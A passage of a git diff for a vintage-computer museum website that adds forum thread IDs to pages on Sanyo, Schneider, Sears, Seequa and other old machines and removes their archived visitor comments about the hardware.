MSX1 models.\ - All VG8020 users are very happy with their machines, and it has also a very nice looking. Ok, Sanyo is a great computer, but you have no right to say Philips is a "bad quality analog circuitary" as this is only your opinion.\ - Thanks a lot, to all msx users in the world. - - author: Lee Mills (Earth) - date: Wednesday 22nd December 2004 - text: This computer was a great Toy as i called it, It had a Great Light Pen program cartridge (dunno the name of) which was a laugh we used to use it to play the Game pictionary and the laughs we had.. This computer wasnt used for much apart from this as i had a ZX Spectrum with over 400 Games to play with but this MSX computer did come in handy for something... a Great game of Pictionary hehe !! - - author: Giovanni ( ) - date: Tuesday 17th August 2004 - text: |- - Sanyo MSXes was FAR the best tape-loaders of the the 'family': Philips MSXes had bad quality analog circuitary, but Sanyo's would load everything (even tapes completly unreadable with other MSXes).\ - I was an owner of a MPC100 and I had dozen of other friends with other 'MSX-brands', I could tell you for sure (same tape, same drive, Sanyo worked always, others had a lot of problems).\ - There war a couple of turbo-loaders for MSX (ok, nothing if compared to C=64), and most of them just wasn't working on Philips. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sanyo-phc-10.md b/content/museum/sanyo-phc-10.md index 43a824be..482ba5e8 100644 --- a/content/museum/sanyo-phc-10.md +++ b/content/museum/sanyo-phc-10.md @@ -55,6 +55,7 @@ params: tabs: - photos - adverts + forum_thread: 1283 photos: - title: SANYO PHC-10 subtitle: '' diff --git a/content/museum/sanyo-phc-20.md b/content/museum/sanyo-phc-20.md index fe87bfca..051f574f 100644 --- a/content/museum/sanyo-phc-20.md +++ b/content/museum/sanyo-phc-20.md @@ -54,6 +54,7 @@ params: £100 (UK, 1982) tabs: - adverts + forum_thread: 1284 adverts: - title: 'YOUR COMPUTER ARTICLE #1' subtitle: '' @@ -63,11 +64,6 @@ params: subtitle: '' text: Dated october 1982 image: /media/museum/pubs/your-computer_oct-1982_sanyo-phc-systems_2%5B1%5D.jpg - comments: - - author: Ian (Canada) - date: Tuesday 7th March 2023 - text: I have an example of this computer. It was acquired in modern times following an estate sale, so its history is obscure, but it is a working copy in good condition. I have found the firmware of this machine rather dismal. As your website points out, it can handle integer variables only, which is very limiting. Added to that, it can only deal with variable names of a single character, severely compromising human-friendliness and restricting software to a total of 26 variables. There is no array capability. The ZX81 was a comparative supercomputer next to this little flower! I located on the Internet exactly one program of any use written in Tiny Basic, which ports to the PHC-20''s Sanyo Basic rather nicely$a "Mastermind"-type guessing game. Having adapted and typed it in, it was successfully stored on tape. The tape dialog is comparatively slick, displaying the names of programs encountered as it searches for the one requested. The physical tape interface is a 5-pin DIN. The pinout - is such that the tape cable for a Radio Shack CoCo 2 can be used, but with the far ends reversed, i.e. the CoCo2 "Mic" line becomes the PHC-20 "Ear" line, and visa versa. Other than that, I don''t know what to tell you, since I''ve found the system too limiting to play with this machine extensively. oc_id: 1319 source: url: https://web.archive.org/web/20230604031258/http://www.old-computers.com/museum/computer.asp?c=1319 diff --git a/content/museum/sanyo-phc-25.md b/content/museum/sanyo-phc-25.md index 5196f1d7..029b67d7 100644 --- a/content/museum/sanyo-phc-25.md +++ b/content/museum/sanyo-phc-25.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 202 photos: - title: SANYO PHC-25 subtitle: '' @@ -149,23 +150,6 @@ params: - title: PHC25.COM url: http://www.phc25.com/ text: Fantastic website dedicated to the PHC-25 - comments: - - author: Walter Zeick (France) - date: Wednesday 22nd August 2012 - text: |- - There is a new game for the Sanyo PHC-25 : Citadelle.\ - It''s a text-based adventure in french. - - The Sanyo PHC-25 has 16Ko RAM + 6 Ko VRAM. You can configure memory to have 10Ko RAM + 2 x 6Ko VRAM.\ - 14265 bytes are available in BASIC. - - The BASIC is compatible with NEC PC-6001 but not softwares. - - author: Max Tardiveau (France) - date: Saturday 21st April 2012 - text: This was a Z-80 based computer with 8K of RAM, only 4K available if you used the "hi-res" graphics. - - author: DataPro (France) - date: Thursday 10th November 2011 - text: Is it true that the Sanyo PHC-25 compatible with NEC PC-6001 ? oc_id: 192 source: url: https://web.archive.org/web/20230607184151/http://www.old-computers.com/museum/computer.asp?c=192 diff --git a/content/museum/sanyo-phc-28.md b/content/museum/sanyo-phc-28.md index 4f2d86df..b4ceac98 100644 --- a/content/museum/sanyo-phc-28.md +++ b/content/museum/sanyo-phc-28.md @@ -79,6 +79,7 @@ params: - hardware - emulators - links + forum_thread: 430 photos: - title: SIDE VIEW subtitle: '' @@ -246,13 +247,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sanyo-phc-30.md b/content/museum/sanyo-phc-30.md index 6eddf735..7f5fe31f 100644 --- a/content/museum/sanyo-phc-30.md +++ b/content/museum/sanyo-phc-30.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 840 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -205,13 +206,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sanyo-phc-3000.md b/content/museum/sanyo-phc-3000.md index c763372e..301c0a08 100644 --- a/content/museum/sanyo-phc-3000.md +++ b/content/museum/sanyo-phc-3000.md @@ -62,18 +62,12 @@ params: value: Unknown tabs: - photos + forum_thread: 1116 photos: - title: LARGER VIEW subtitle: '' text: '' image: /media/museum/photos/sanyo_phc3000_system_s2.jpg - comments: - - author: Mattis Lind (Sverige) - date: Friday 9th March 2018 - text: |- - I have some info related to the Sanyo PHC 3000 and PHC 3100. - - http://www.datormuseum.se/computers/others/sanyophc3100-1 oc_id: 1146 source: url: https://web.archive.org/web/20230528094208/http://www.old-computers.com/museum/computer.asp?c=1146 diff --git a/content/museum/sanyo-phc-33.md b/content/museum/sanyo-phc-33.md index c7ee1eff..87b4900e 100644 --- a/content/museum/sanyo-phc-33.md +++ b/content/museum/sanyo-phc-33.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 459 photos: - title: PHC-33 subtitle: '' @@ -217,13 +218,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sanyo-wavy-10-mpc-10.md b/content/museum/sanyo-wavy-10-mpc-10.md index 41406cda..d2e0b574 100644 --- a/content/museum/sanyo-wavy-10-mpc-10.md +++ b/content/museum/sanyo-wavy-10-mpc-10.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 838 photos: - title: WAVY 10 subtitle: '' diff --git a/content/museum/sanyo-wavy-23.md b/content/museum/sanyo-wavy-23.md index 8bd57bd7..ecc7f8cc 100644 --- a/content/museum/sanyo-wavy-23.md +++ b/content/museum/sanyo-wavy-23.md @@ -59,6 +59,7 @@ params: - hardware - emulators - links + forum_thread: 476 photos: - title: WAVY 23 subtitle: '' @@ -220,13 +221,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sanyo-wavy-3.md b/content/museum/sanyo-wavy-3.md index 25b9f1e1..13763a63 100644 --- a/content/museum/sanyo-wavy-3.md +++ b/content/museum/sanyo-wavy-3.md @@ -74,6 +74,7 @@ params: - hardware - emulators - links + forum_thread: 758 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -210,13 +211,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/sanyo-wavy-35.md b/content/museum/sanyo-wavy-35.md index 9a268ade..0fe709cd 100644 --- a/content/museum/sanyo-wavy-35.md +++ b/content/museum/sanyo-wavy-35.md @@ -62,6 +62,7 @@ params: - software - emulators - links + forum_thread: 759 screenshots: - title: BOOT SCREEN subtitle: '' @@ -83,13 +84,6 @@ params: - title: The Ultimate MSX FAQ url: http://www.faq.msxnet.org/msx2p.html text: MSX2+ specifications, and more! - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/msx-2-291 - /museum/panasonic-fs-a1-fx diff --git a/content/museum/sanyo-wavy-70fd.md b/content/museum/sanyo-wavy-70fd.md index 815d19ab..7a823097 100644 --- a/content/museum/sanyo-wavy-70fd.md +++ b/content/museum/sanyo-wavy-70fd.md @@ -66,6 +66,7 @@ params: - photos - emulators - links + forum_thread: 760 photos: - title: DISK-DRIVE CLOSE-UP subtitle: '' @@ -91,19 +92,6 @@ params: - title: The Ultimate MSX FAQ url: http://www.faq.msxnet.org/msx2p.html text: MSX2+ specifications, and more! - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Jaume (spain) - date: Monday 13rd December 2004 - text: |- - The rensha turbo (auto fire function) is basically a dumb implement to fill the second FD bay in only one Floppy models, remark the 2 floppy model haven't it. - - Also those models are 'unofficialy' imported to spain with the psu changed to 220 50Hz and a app in disk for display the tilde (Ñ) an are imported by a MSX spanish magazine , the price imported reaches a low end pc machine and is higher than an amiga or an atari. In fact, this model killed the standard in spain because people saw the "logical evolution" ridicously expensive related: - /museum/msx-2-291 - /museum/panasonic-fs-a1-fx diff --git a/content/museum/sbs-8000.md b/content/museum/sbs-8000.md index 5e7718b4..f055f5b5 100644 --- a/content/museum/sbs-8000.md +++ b/content/museum/sbs-8000.md @@ -60,6 +60,7 @@ params: 32k model : 1721 (France, january 1980) tabs: - photos + forum_thread: 215 photos: - title: SBS 8000 subtitle: '' @@ -69,10 +70,6 @@ params: subtitle: '' text: Notice that the monitor and part of the computer has been redrawn over the picture ! image: /media/museum/photos/sbs-8000_disks_1.jpg - comments: - - author: if 10 then goto 20 (Atlanta, GA-USA) - date: Wednesday 19th June 2002 - text: this machine looks like Maximillian, the mean robot in Disney's "The Black Hole". oc_id: 205 source: url: https://web.archive.org/web/20230608091936/http://www.old-computers.com/museum/computer.asp?c=205 diff --git a/content/museum/schmid-tvg-2000.md b/content/museum/schmid-tvg-2000.md index ed08f12a..b9ff534a 100644 --- a/content/museum/schmid-tvg-2000.md +++ b/content/museum/schmid-tvg-2000.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 1153 photos: - title: TVG 2000 subtitle: '' @@ -90,15 +91,6 @@ params:  source : [Emerson Arcadia 2001 Central](http://amigan.classicgaming.gamespy.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Big M (Netherlands) - date: Tuesday 18th June 2013 - text: I must say its a great system and I''m not ashamed that i have One...... - - author: Marcel (Germany) - date: Tuesday 9th May 2006 - text: |- - I was about 12 Years old when my parents bought me a Schmidt TVG 2000! All my friends had a Atari 2600 Console to that time...i dont care because the Console had some realy good games like Jungler, Cat Trax and Tanks a lot..other people i knew to that time fell\ - ashamed that they own only a "Schmidt TVG 2000" and not a Atari2600....and tell knowbody that they own a TVG2000! related: - /museum/advision-home-arcade - /museum/bandai-arcadia diff --git a/content/museum/schneider-germany-cpc-464.md b/content/museum/schneider-germany-cpc-464.md index c2fbca47..cbfbc000 100644 --- a/content/museum/schneider-germany-cpc-464.md +++ b/content/museum/schneider-germany-cpc-464.md @@ -84,6 +84,7 @@ params: - links - docs - videos + forum_thread: 865 photos: - title: SPANISH VERSION subtitle: '' @@ -524,33 +525,6 @@ params: - title: Amstrad CPC - French commercial url: http://video.google.com/googleplayer.swf?docId=1649912029980987973&hl=fr text: 'Length: 29 s' - comments: - - author: nikos nalisis (Greece) - date: Monday 28th January 2019 - text: Hi i have one sneider 464 i want to sell it i am selling it 1000euros as antique anyone ho wants it sent me a message to nik-olas-@hotmail.com - - author: Bartimaus (U.S.A.) - date: Thursday 2nd February 2017 - text: Can''t you use a standard A.V. cable like the ones used for video game consoles? - - author: nikigre (slovenia) - date: Thursday 2nd July 2015 - text: |- - Hi!\ - i have 64k colour personal computer cpc 464.\ - Its wery preserved. And it is working.\ - But i don´t have any cables only power adapter.\ - If anyone have one please contact me!! - - author: Peter - date: Sunday 3rd February 2013 - text: I bought one rather late in it''s production years. I expected to be better than C64 my neighbour owned but I got disappointed. Green picture and weak speaker, no sprites and no soft screen movement. I guess it was meant more for writing text. Anyway, I feel some nostalgy now ... - - author: Ram Desurkar (India) - date: Monday 18th October 2010 - text: |- - I have Amstrad64k microcopmuter 464 personal computer with printer. Till today it runs very nicely, I need connected cables, So I request you kindly send me the nearest service centre address .\ - Thanking You,\ - Ram Desurkar - - author: Nikole (Germany) - date: Wednesday 17th February 2010 - text: well tha cpc-464 is one of the coolest computers you could ever have related: - /museum/amstrad-464-6128-plus - /museum/amstrad-cpc-464 diff --git a/content/museum/schneider-philips-mc-810.md b/content/museum/schneider-philips-mc-810.md index 9f172fcd..eb092e2d 100644 --- a/content/museum/schneider-philips-mc-810.md +++ b/content/museum/schneider-philips-mc-810.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 431 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -205,16 +206,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: zozo (france) - date: Thursday 30th October 2014 - text: personne l''a eu celui la ? moi si lol seul bémol l’affichage des couleurs créé des conflit sur l''écrant. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/schneider-philips-telelude.md b/content/museum/schneider-philips-telelude.md index a26fa5b1..42c35741 100644 --- a/content/museum/schneider-philips-telelude.md +++ b/content/museum/schneider-philips-telelude.md @@ -49,6 +49,7 @@ params: tabs: - photos - links + forum_thread: 752 photos: - title: CONTROL PANEL subtitle: '' diff --git a/content/museum/science-fair-microcomputer-trainer.md b/content/museum/science-fair-microcomputer-trainer.md index 1fab4ff2..84cc45ca 100644 --- a/content/museum/science-fair-microcomputer-trainer.md +++ b/content/museum/science-fair-microcomputer-trainer.md @@ -50,6 +50,7 @@ params: value: About £18 in 1986 tabs: - photos + forum_thread: 1026 photos: - title: LARGER VIEW subtitle: '' @@ -59,90 +60,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/sciencefair_microtrainer_system_s3.jpg - comments: - - author: Carl Gundel (United States) - date: Monday 27th June 2022 - text: Sam (UK), Interesting the way that you describe this trainer''s method of simulating a simple 4-bit microprocessor. I think this may be one of the simplest examples of what we call a bytecode interpreter. This is the technology that famous languages such as Smalltalk and Java are built on top of. $) - - author: Sam (UK) - date: Friday 21st February 2020 - text: |- - Sorry to double-post but... Duncan, that video of yours is certainly interesting! Kind of weird but I suppose instructive to have the user, some naive kid, have to wire up stuff like the display, that should be connected permanently. - - Then again... there were only so many I/O pins available. Were there any experiments in the manual with connecting up to other circuits? Did it come with other components? Maybe a tie-in with the other Science Fair kits would''ve been good. So you could connect the computer to other circuits and have it do... stuff. Since it is a MCU trainer and that''s what they''re supposed to do. If you wanted to really learn programming you''d be better off with a BBC Micro or ZX Spectrum with an assembler and a decent book. "ZX Spectrum Machine Language For The Absolute Beginner" by William Tang was great. Started off explaining memory locations as cardboard boxes with numbers written on bits of paper in them. You know the drill! But pretty quickly moved to writing real programs and interfacing with the operating system. - - This little box of tricks is a great curiosity but to be honest I think would have disappointed a lot of kids. For less money you could get a box that''d let you control relays and read switches from a computer in BASIC or machine code. The BBC and Commodore machines had built-in user ports for just that, the BBC even having an ADC! - - You''d be able to get a lot more done, and learn more about the subject, like that. Of course you''d need the computer too but you''d want that anyway for the games! - - author: Sam (UK) - date: Friday 21st February 2020 - text: |- - Tor, I imagine the LEDs aren''t labelled in binary for two reasons. One is simplicity and user-friendliness. The other is that the TMS1000 didn''t expose it''s bus to the outside world. Only a few I/O ports, like an Arduino or other microcontroller, since it is a microcontroller. - - Sounds like this thing ran a sort-of "emulator", interpreting a program written in a very terse binary format. Could a TMS1000 switch to running code from RAM? I don''t think it could since RAM is 4-bit and I think code was 8-bit. So that would leave storing the program in RAM and interpreting it. - - It''s fair enough, it still gives an impression of machine code programming, and is probably less mind-bending than the TMS''s own ASM would be! 48 steps! Just enough for 1 or 2 loops to do a bit of beeping. - - A user couldn''t program the TMS series. Instead your company, that was making an alarm clock or calculator or whatever, would write the program in a text editor on a minicomputer or mainframe. Stacks of cards are mentioned although hopefully that''s just as an abstraction! - - Then your programmer and TI would work together to ensure it would work, and test it on a software emulator. Eventually, when it was ready, TI would make a mask and produce you a few prototype chips with your program in the ROM, real immutable ROM. - - If that went well, it went on to production and off come your thousands of chips! - - The chip was like many MCUs intended for calculators, etc, in that it had some support for LED or VFD displays built into the hardware. So you wouldn''t have to bit-bash as much as you might with a modern MCU. OTOH a modern MCU does very well at bit-bashing, with onboard timers, counters, and a high enough clock speed to be able to do all that. - - I wonder about stuff like Astro Wars and the many other VFD home arcade games of the early ''80s. As well as the LED and LCD ones. But VFD mostly cos they were so interesting, and produced the best display for a game. - - Were these 4-bit? Must''ve been hell to program! Or at least you''d need to be very methodical and keep everything organised on paper, doing actual coding in small blocks that fit to the plan. Or did they use 8-bit MCUs? Were PICs about then? - - Some of the early LCD games I think would''ve worked as custom state machines. And there were dozens of cheap ones where the gameplay was identical, only the LCD was changed, from aliens to horses and cowboys. - - The early Nintendo programmers, I think Gunpei Yokoi, RIP, talked about re-purposing calculator chips to produce Game And Watch. Each screen element was a unit that would otherwise have been a segment of a 7-segment number! - - Anyway... interesting machine! - - author: Wayne Rowlinson (Canada) - date: Sunday 20th August 2017 - text: |- - The first year this appeared in any Radio Shack catalog was 1985. It shows "New for ''85" in its description. - - http://www.radioshackcatalogs.com/html/1985/hr155.html - - author: Chad Castagana - date: Friday 6th May 2016 - text: |- - I read that the microprocessor of this ''Science Fair Trainer'' only had 128 words of RAM of 4bits each and that only 16 could be used to store data or user instructions..\ - This board must have been designed around 1980 for it''s using an electrodynamic speaker instead of a piezoceramic one! - - author: Duncan Bayne (Australia) - date: Friday 24th April 2015 - text: |- - I''ve put a few videos of my Microcomputer Trainer on Vimeo$ here''s one of me writing and explaining a trivial test program: - - https://vimeo.com/63990422 - - author: uridium (Australia) - date: Sunday 29th March 2015 - text: |- - It''s got 2k ROM and 64bytes of RAM, of which 48 are user addressable. Create a program and step through it, and you wrap at 49 bytes. It''s got a simulated instruction set. The underlaying chip the TMS1312 is an TMS1100 variant. The printed manual states this. - - I still have one living and am writing a simulator. Anyone got a way to dump the PROM? - - author: Ken - date: Friday 5th August 2011 - text: This appears to be very similar in operation to the Gakken 4-bit GMC-4 which I just got the from the Maker Shed. The stored programs are the same. - - author: Tor Schofield (Denmark) - date: Wednesday 30th March 2011 - text: |- - I have just got one of these off Ebay in excellent condition and it works fine. I gave away my original to a charity shop, so may have got my old one back again?!! - - I have 2 questions about it though: - - 1\. why under the binary LED lights does it have the decimal numbers 0 1 2 3 4 5 6 and not the binary 1 2 4 8 16 32 64$ and - - 2\. what do the numbers abover the binary LEDS 1 2 4 8 1 2 4 mean - do they have something to do with the 4 bit processor? - - Has anyone reverse engineered a better keyboard for the Trainer? - - author: Rob Mitchell (Atlanta, Georgia) - date: Monday 26th October 2009 - text: I found a Microcomptuer Trainer at a thrift store .. I''ve had alot of fun exploring its potential! Great little programming tool .. I would have had a blast with it if I had it when I was a kid! Now I tell coworkers that I have a new computer and pull it out! Great conversation piece! - - author: Alexander Pierson (Virgina, USA) - date: Tuesday 1st February 2005 - text: I recieved a microcomputer trainer from my mother, and i found it very amusing. Sciencefair made a few other similar project kits that alowed you to create different electronic circuts, that were compatable with the MCT, like the 200-in-one, and the 60-in-one. The MCT could be used as an electronic organ, as well as be programed to play tunes. It also could display programed morse code messages, even your own little games. Mine had an LED in the binary display that was not functioning, so i had to jury-rig it. oc_id: 1053 source: url: https://web.archive.org/web/20221203045440/http://www.old-computers.com/museum/computer.asp?c=1053 diff --git a/content/museum/scientific-computer-symbolics-3600.md b/content/museum/scientific-computer-symbolics-3600.md index 3ecc0052..9bd5f990 100644 --- a/content/museum/scientific-computer-symbolics-3600.md +++ b/content/museum/scientific-computer-symbolics-3600.md @@ -56,45 +56,7 @@ params: value: Power supply built-in the system - label: PRICE value: $110 000 (USA, 1983) - comments: - - author: Allan Dobbins (United States) - date: Sunday 27th August 2017 - text: 'I used Symbolics LISPMs in the latter half of 80s to early 90s. They were far ahead of anything else. Many programmers felt that they were about an order of magnitude more productive on these compared to the alternatives at the time. The geniuses who designed the LISPMs (originally a prototype in the MIT AI lab) created a completely integrated environment in which the same keyboard shortcuts were available everywhere. The compiler was amazing: one could do incremental compiles e.g. just recompile the function you had just added or changed without recompiling the whole, possibly very large program. Of course you had to do a global recompile from time to time. We had two head systems $ color graphics on one monitor, and the Zmacs editor, etc on the other monitor. I could change my program easily without reloading, linking, etc. by using the incremental compilation capability. I''''ve never experienced anything close since. Thirty years ago! Some may find this hard to believe, but - others who used these systems can verify. In the mid-90s we created a weak imitation on Silicon Graphics computers $ a large C++ program with OpenGL and OpenInventor and the Guile scripting language on top that allowed one to do a lot of things dynamically with the underlying 3D graphics. Not as flexible though. I maintain that in some respects the Symbolics LISPMS represent a pinnacle of computer engineering that has never been equaled.' - - author: Christian Berger - date: Wednesday 5th September 2012 - text: |- - Actually in 2002 the CCC had a talk on Lisp machines.\ - http://media.ccc.de/browse/congress/2002/19C3-488-symbolics-lisp-machines.html - - Apparently on those the RAM was just cache for the disk. They didn''t have a file system as such, but used the LISP memory management for that. - - Apparently the web server of the white house ran on a LISP machine during the Clinton era. - - author: GPUDude - date: Saturday 30th July 2011 - text: |- - Yes, Symbolics later created NUBUS add in cards that worked with 68K macintosh Quadras called the Macivory, Macivory II, and Macivory III. - - If you want to pick one up for yourself you can email sales@symbolics-dks.com. Note that they''re pretty pricey. - - Here''s a screenshot of a macivory: - - http://www.sts.tu-harburg.de/\~r.f.moeller/symbolics-info/development-environment/index.html - - author: Ilgaz - date: Sunday 16th January 2011 - text: I saw one of them in very high end graphics/animation design company. It was happily showing 1080P uncompressed 3D animations in 1993 or so. Trust me, consider yourself lucky if you haven''t seen one as it would really shake your impression of later "breakthrough" systems. :) - - author: Jonathan - date: Wednesday 6th October 2010 - text: The Symbolics machines are, in my opinion, the most ambitious computing platforms of their time so far. If you would like to see what they were capable of, please go to you tube and search "mind''s eye breaking the ice" (without the quotation marks). - - author: kwa (us) - date: Monday 28th March 2005 - text: Didn't symbolics later build this onto a NuBus card that fit into a Mac II? - - author: Qbasic DUDE (US) - date: Sunday 2nd May 2004 - text: |- - Wow! This thing has amazing graphics even for 1990\ - and it was made in '83!\ - I wish there were screenshots though + forum_thread: 240 oc_id: 230 source: url: https://web.archive.org/web/20230605030207/http://www.old-computers.com/museum/computer.asp?c=230 diff --git a/content/museum/sears-pong-model-25796.md b/content/museum/sears-pong-model-25796.md index 31b24b01..85a8da31 100644 --- a/content/museum/sears-pong-model-25796.md +++ b/content/museum/sears-pong-model-25796.md @@ -54,6 +54,7 @@ params: - photos - software - links + forum_thread: 854 photos: - title: SEARS PONG subtitle: '' @@ -87,10 +88,6 @@ params: - title: PONG-STORY url: http://www.pong-story.com text: The source site for everything pong related - comments: - - author: qonos (Seminole, Ok) - date: Saturday 10th July 2004 - text: I remember when dad came home with this thing! The family LOVED it! It still rules! Oh the corruption... now i am a system adminstrator that owns a pc shop that does LAN-based gaming.... Oh save me from the ghosts of PONGs past! software: - /software/pong-383 oc_id: 873 diff --git a/content/museum/sears-tele-games-pinball-breakaway-model-99713.md b/content/museum/sears-tele-games-pinball-breakaway-model-99713.md index 8e2b947d..2342ddef 100644 --- a/content/museum/sears-tele-games-pinball-breakaway-model-99713.md +++ b/content/museum/sears-tele-games-pinball-breakaway-model-99713.md @@ -48,6 +48,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1084 photos: - title: PINBALL BREAKAWAY subtitle: '' @@ -61,23 +62,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/sears_tele-games-pinball-breakaway_box_1.jpg - comments: - - author: John (US) - date: Friday 13rd July 2012 - text: Bought one 5 years ago at a garage sale. Works fine, still has adapter, runs on battereies fine. No strain relief on cable as it exits the case, and there is connectivity issue. Today I will open it up and shorten the cable a little, to remove that section. The pinball games are not that great. Just too blocky, but the breakout is fun. Seems to put out a very vibrant (color) image. - - author: Mike Brady (USA) - date: Friday 16th December 2011 - text: |- - I found one of these like when I was a kid and it is the "Sears" model with the wood looking cover. Do you think this would be a good deal as described for Christmas? I see the Atari one all the time, but not the Tele-Games and it has everything with it. Tell me what you think...\ - http://www.ebay.com/itm/Sears-Tele-Games-Video-Pinball-Breakaway-Atari-Rare-Complete-System-1977-/300638602297?pt$Video_Games$hash$item45ff750439 - - author: Webmaster (France) - date: Monday 4th January 2010 - text: |- - I would say something around $30\ - Check Ebay for more info - - author: tom - date: Sunday 3rd January 2010 - text: I have an original sn70232R in perfect condition do you know what it is worth oc_id: 1114 source: url: https://web.archive.org/web/20230613001123/http://www.old-computers.com/museum/computer.asp?c=1114 diff --git a/content/museum/seattle-computer-gazelle.md b/content/museum/seattle-computer-gazelle.md index c60df04a..dced7da1 100644 --- a/content/museum/seattle-computer-gazelle.md +++ b/content/museum/seattle-computer-gazelle.md @@ -63,6 +63,7 @@ params: tabs: - adverts - links + forum_thread: 601 adverts: - title: U.S. ADVERT (1982) subtitle: '' @@ -76,25 +77,6 @@ params: - title: Origins of MS-DOS url: http://www.patersontech.com/Dos/ text: Several links related to MS-DOS birth and Tim Paterson story - comments: - - author: Achim Baqué (Germany/USA) - date: Saturday 29th January 2022 - text: Hi, I do preserve and collect vintage computers. Please contact me (Contact via my website) if you have the computer ‚Gazelle‘ to offer - - author: Chris (USA) - date: Tuesday 19th February 2013 - text: Anyone know where I can find one... - - author: Chris (USA) - date: Tuesday 19th February 2013 - text: Anyone know where I can find one... - - author: Bill Mills (Oklahoma) - date: Monday 9th April 2012 - text: I use my rack mount gazelle all the way up to 1989. I still have it and as far as I know it still runs. Been saving it to pass down to my kids. It has a color graphics board, 16 ch AD/DA, 1MB SRAM, 5MB HD, 8086 with math CPU''s, 2x8" Floppies, Borland Pascal and MS Basic, assembler, Word and the first MS spreed sheet. - - author: Ryan Brown (San Jose, CA) - date: Friday 22nd April 2005 - text: Gazelles aregood! I have one that is half broken because i have put so many upgrades on its new 200 gb HD. Hope it lasts! - - author: Stewart Marshall (Pacific NW) - date: Sunday 25th January 2004 - text: Hello, nice to see something about the wonderful old Gazelle. The Gazelle was a great computer. For many years, even after normal PC computers were popular, the Gazelle was one of the few DOS machines that would address more than 1 meg of RAM. Microsoft ran one of their big compilers on a Gazelle right up to about 1990 and the machine is still in their museum I think. My Gazelle had a serial card in it and three Televideo 925 terminals tied to it for multiple users. It will no longer boot and has a problem with the logic on the CPU Support board. I will get around to fixing it one of these days! Anyway, good luck to the forum and my Best Wishes to any other Gazelle owners. Stewart Marshall oc_id: 614 source: url: https://web.archive.org/web/20230331121919/http://www.old-computers.com/museum/computer.asp?c=614 diff --git a/content/museum/seb-loisirs-telescore-model-750.md b/content/museum/seb-loisirs-telescore-model-750.md index 419b3ca7..e812b85a 100644 --- a/content/museum/seb-loisirs-telescore-model-750.md +++ b/content/museum/seb-loisirs-telescore-model-750.md @@ -48,6 +48,7 @@ params: value: Unknown tabs: - photos + forum_thread: 753 photos: - title: CIRCUIT BOARD subtitle: '' diff --git a/content/museum/seequa-chameleon.md b/content/museum/seequa-chameleon.md index 65774df9..fa49467a 100644 --- a/content/museum/seequa-chameleon.md +++ b/content/museum/seequa-chameleon.md @@ -70,6 +70,7 @@ params: - photos - adverts - docs + forum_thread: 121 photos: - title: TOP VIEW subtitle: '' @@ -174,111 +175,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: JuneJ (glen burnie,md) - date: Wednesday 4th May 2011 - text: Worked for the company from 1983 to 1985. Started in the assembly part and ended as what the called line leader in the final test area. Had a lot fun working with them. - - author: Kay (South Carolina) - date: Thursday 30th September 2010 - text: I met my husband while working at Seequa in 1984! I am 